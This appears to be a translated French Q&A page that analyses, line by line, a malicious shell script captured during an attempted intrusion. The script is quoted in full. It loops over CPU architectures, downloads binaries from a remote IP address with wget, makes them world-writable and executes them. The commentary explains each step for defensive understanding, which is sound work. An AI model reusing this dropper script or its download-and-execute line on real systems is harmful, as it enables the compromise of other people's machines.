GNU/Linux >> Tutoriels Linux >  >> Linux

Que fait ce script bash ? [Tentative de piratage]

Ligne par ligne :

#!/bin/sh

Etablit le sh shell, quel qu'il soit, comme la ligne shebang. sh%20/tmp/ks dans la demande remplace ceci, donc cette ligne est traitée comme un commentaire normal et ignorée.

u="asgknskjdgn"

Déclare un nom arbitraire, probablement pour éviter d'entrer en collision avec d'autres noms de fichiers. Je ne sais pas pourquoi ils n'utiliseraient pas simplement mktemp , mais cela n'est peut-être pas disponible sur toutes les plates-formes.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Énumère plusieurs architectures CPU courantes.

http_server="80.211.173.159"
http_port=80

Le serveur qui a l'exploit.

cd /tmp/||cd /var/

Essaie de changer de répertoire vers un endroit où votre serveur Web est susceptible de créer des fichiers. Je pense que SELinux y contribuera, en appliquant des règles beaucoup plus strictes sur ce que le serveur Web peut faire que le système de fichiers seul.

for name in $bin_names
    do

Pour chaque architecture CPU…

    rm -rf $u

Supprime les programmes d'exploitation précédemment essayés. Inutile à cause de la ligne suivante, peut donc être ignoré.

    cp $SHELL $u

Copie l'exécutable shell courant (/bin/sh ). Peut être ignoré à cause de la ligne après suivant.

    chmod 777 $u

Permet à tout le monde d'avoir un accès complet au nouveau fichier. Cela aurait dû être après le wget commande, qui est soit le signe d'un débutant en scripts shell, soit une technique de mauvaise direction.

    >$u

Vide le fichier. Inutile à cause de la ligne suivante.

    wget http://$http_server:$http_port/$name -O -> $u

Remplace le fichier par le script d'exploit pour cette architecture. -O -> $u aurait pu s'écrire -O - > $u (le trait d'union indique que le téléchargement doit être écrit sur la sortie standard) qui équivaut à -O $u .

    ./$u $name

Exécute le script d'exploit avec l'architecture comme premier argument.

done

Termine la boucle.

Il semble qu'il s'agisse d'un script de tentative d'exploit trivial, essayant des exploits connus contre diverses plates-formes CPU. Je ne sais pas pourquoi il écrase $u trois fois, mais ces opérations pourraient simplement être des restes d'une itération antérieure du script. Vraisemblablement, cette version antérieure avait les exploits codés en dur plutôt que servis dynamiquement - la première est plus facile mais garantit presque que le script sera moins efficace au fil du temps à mesure que les bogues sont corrigés.


Le wget est la principale ligne dangereuse.

Le for name in $bin_names travaille sur la liste des plates-formes et pour chaque plate-forme, il efface un répertoire temporaire, copie un shell et le rend ensuite accessible à tous.

Il télécharge ensuite un fichier en utilisant wget puis l'exécute à l'aide du programme shell qu'il vient de copier.

Le script tente essentiellement de télécharger une série d'exécutables ou de scripts pour chaque plate-forme possible et de les frotter contre votre système dans l'espoir qu'il puisse compromettre davantage votre système.


Linux
  1. Passer les arguments de la ligne de commande au script Bash ?

  2. Impossible de comprendre ce script. Baiser ?

  3. Que signifie cet avertissement ?

  4. Que fait 'bash -c' ?

  5. Script d'initialisation Linux qu'est-ce que 0<&- &> réalise

Automatisez le traitement des images avec ce script Bash

Utilisez ce script Bash utile pour observer les étoiles

Qu'est-ce que cette statistique de processus indique ?

Que signifie set -e dans un script bash ?

Que fait ce script sh s'il est exécuté ?

Que fait le -e dans un bash shebang ?